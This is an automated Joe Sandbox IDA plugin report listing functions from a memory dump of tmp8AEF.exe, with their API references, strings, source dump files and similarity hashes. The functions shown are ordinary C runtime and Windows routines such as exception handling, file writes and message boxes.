Instruction ID: 0c144e2ecb50d7636b6925de7a29a5c782a1931f447a0a3cb7c6a3e60471b921
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 4A81F672F09103A5F7647F27E170279B6A0FB1876AFD5A0B1DA4997285DB2DEC018331

Function 00007FF7CA79C968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7CA79C993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7CA79CA2A
RtlUnwindEx.KERNEL32 ref: 00007FF7CA79CA84

Strings

csm, xrefs: 00007FF7CA79CA11

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: f59913bbb08c61f2ced89a18c217199cb1c56ce33f84925074157c3307ef255d
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: CD519E32B196428EEF14EF37F424A79B391FB48BA9F904172DA4D47788DE78E8418710

Function 00007FF7CA79E1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7CA79E257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7CA79E2A3

Strings

MOC, xrefs: 00007FF7CA79E26B
RCC, xrefs: 00007FF7CA79E273

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction ID: 12bc4066f47c5cf2f26f388afaf4c1314fd1017b39310e591eaec9de738e6420
Opcode Fuzzy Hash: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction Fuzzy Hash: ED619432908BC585E7209F36F4507AAB7A4FB897A5F444266EB9C03795DF7CD090CB10

Function 00007FF7CA79E5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7CA79E5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7CA79E6B8

Strings

csm, xrefs: 00007FF7CA79E70A
csm, xrefs: 00007FF7CA79E5F2

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: 5326777674beaa965d12275125078753be9f03437c6b80fe1827463bbd576005
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 4151823290834286FB64AE33A064A78B7A0FB58BA6F944177DA9D47BD1CF3CE4508711

Function 00007FF7CA797530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7CA79324C,?,?,00007FF7CA793964), ref: 00007FF7CA797642

Strings

%s%c, xrefs: 00007FF7CA7975B4
%.*s, xrefs: 00007FF7CA7975FB
\, xrefs: 00007FF7CA7975A7

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction ID: 002285329ed3f6506d8bae41864c4556f72e979e1e70d65422961150d032a31e
Opcode Fuzzy Hash: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction Fuzzy Hash: AC31CB21A19AC545FA61AF36F430BA6A364FB8CBF1F844272EE5D437C5DE2CD2018710

Function 00007FF7CA792870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

MessageBoxW.USER32 ref: 00007FF7CA792906
MessageBoxA.USER32 ref: 00007FF7CA79291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7CA79290E
Warning, xrefs: 00007FF7CA7928F7

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: 902bcbc48833cb67f2cc5926dffba0efb30bbc10e09ae82c726e70d99cb204e9
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 24118B72628B8591FA20AF22F461BA9B364FB88B95FD01176DA8C57684DF3CD604C750

Function 00007FF7CA7925F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

MessageBoxW.USER32 ref: 00007FF7CA792686
MessageBoxA.USER32 ref: 00007FF7CA79269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7CA79268E
Error, xrefs: 00007FF7CA792677

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: f5444911847bd7a84016f41e0019691e028c2cfde0bc4f5d5745e548efa22d5d
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 9D11D072628B8581FB20AF22F471BA9B364FB88B95FD01176DA4C07684CF3CD604C750

Function 00007FF7CA7AB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7CA7AB92F
WriteFile.KERNEL32 ref: 00007FF7CA7ABBF7
WriteFile.KERNEL32 ref: 00007FF7CA7ABC3D
GetLastError.KERNEL32 ref: 00007FF7CA7ABCF3

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction ID: 3aae53cde25901dab26c5270146052a22823f7f11ea0cdc4f4d738275c9c6da7
Opcode Fuzzy Hash: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction Fuzzy Hash: D7D10373B08A8099F710DF76E4506AC7771FB887A9B805275CE5E57B99DE38D806C310

Function 00007FF7CA7AEC9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7AED8C
_get_daylight.LIBCMT ref: 00007FF7CA7AED9D
_get_daylight.LIBCMT ref: 00007FF7CA7AEDAE
_isindst.LIBCMT ref: 00007FF7CA7AEE79

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction ID: 6829505eb31c219c3d1ef99fd4b41bf87d6c916007596c1208de525c2d2db732
Opcode Fuzzy Hash: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction Fuzzy Hash: 60514972F082219AFB14EF65A8652BCB7B1BB1837BF901175DD1E52AE5DF38A801C710

Function 00007FF7CA7A4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7CA7A4ABF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7CA7A4B21
GetLastError.KERNEL32 ref: 00007FF7CA7A4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7A49C4), ref: 00007FF7CA7A4BFE

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction ID: f2bc9441cd62ff9c61be3ef5be9b2931b70133ac04ead9a66900763bdfeeb424
Opcode Fuzzy Hash: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction Fuzzy Hash: 6251A023A086419AFB14EF72E4603BDA3A1FB4CB69F609075DE0D47688DF39D8518760

Function 00007FF7CA792030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7CA792064
SetWindowLongPtrW.USER32 ref: 00007FF7CA792086
GetWindowLongPtrW.USER32 ref: 00007FF7CA7920B0
InvalidateRect.USER32 ref: 00007FF7CA7920D0

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 519992e76185060c5ec83be4f91c7b2ab90aa1c3e55903127899a534cbc0d5a6
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 4611C631A0824242FA54BF7FF564AB99291FF9DBB1FC48072DE4907B89DD2CD4C58660

Function 00007FF7CA79C330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CA79C35C
GetCurrentThreadId.KERNEL32 ref: 00007FF7CA79C36A
GetCurrentProcessId.KERNEL32 ref: 00007FF7CA79C376
QueryPerformanceCounter.KERNEL32 ref: 00007FF7CA79C386

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: ee83ad6b4579857d429fee5dd07026ccfa646570de9a954e2d3c1a2e719bafb2
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 43114C22B14B058AFB009F61F8642A973A4FB5D769F840E31DE2D467A4DF78D1948350

Function 00007FF7CA7B4E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7B0A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B0AA3

_get_daylight.LIBCMT ref: 00007FF7CA7B4F44
_get_daylight.LIBCMT ref: 00007FF7CA7B4F55

Strings

?, xrefs: 00007FF7CA7B4ED5

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction ID: f6b4a07951dafbd72bd2796f881b4235a16fe89fad4604767ee3182d2c4eebd0
Opcode Fuzzy Hash: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction Fuzzy Hash: FD415762A0878256FB20AF27B42137AE750FBA8BB5F944274EE5C07AD5DF3CD4518710

Function 00007FF7CA7A832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A835E

Part of subcall function 00007FF7CA7A9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7CA79BEC5), ref: 00007FF7CA7A837C

Strings

C:\Users\user\AppData\Local\Temp\tmp8AEF.exe, xrefs: 00007FF7CA7A836A

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
API String ID: 3580290477-4079050925
Opcode ID: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction ID: 8b9c2218cb89a7f3ae927790cc501ff7db176ff6db16334ef48eb104e5c9268c
Opcode Fuzzy Hash: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction Fuzzy Hash: BB41A232A08B52A5F714EF26F4640BCB794FB487A1F956075EA4D07785DE3CD8518320

Function 00007FF7CA7AF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AF916

Part of subcall function 00007FF7CA7AE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7CA7AE908

Strings

:, xrefs: 00007FF7CA7AF956
., xrefs: 00007FF7CA7AF967

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: 02917ae70002487e25aaa57807b70e18839398bc457e7bd9011200fb9d4eab61
Instruction ID: 1db88adb828be7b3f4c48f694c766db4d2506477b4105a52a8d3b04ec76143bf
Opcode Fuzzy Hash: 02917ae70002487e25aaa57807b70e18839398bc457e7bd9011200fb9d4eab61
Instruction Fuzzy Hash: 6D417422F04752A8FB10AFB2A8601FD66747F1876AF945075DE4D67A45DF3898528330

Function 00007FF7CA7ABF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7CA7AC05F
GetLastError.KERNEL32 ref: 00007FF7CA7AC081

Strings

U, xrefs: 00007FF7CA7AC00B

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction ID: 7730edcb684de68da329bd4dbba243d779595bcca75de203f7b66ee5435f2b33
Opcode Fuzzy Hash: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction Fuzzy Hash: F141D622B18A4191EB209F26F8547AAB760FB9CBA5F844031EE4D87788DF3CD841C750

Function 00007FF7CA7AE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7CA7AE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7CA7AE95A

Strings

:, xrefs: 00007FF7CA7AE91E

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction ID: 7ee8170424348065bc7eb0f21b00bc8b3f346efef48bd003fae74fbf7b1c1e23
Opcode Fuzzy Hash: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction Fuzzy Hash: 8D21EE62A0878192FB60AF16E06427DB3B1FB8CB56FC59075DA8C43284DF7CE9448762

Function 00007FF7CA79F068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7CA79F0B8
RaiseException.KERNEL32 ref: 00007FF7CA79F0F9

Strings

csm, xrefs: 00007FF7CA79F0E6

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
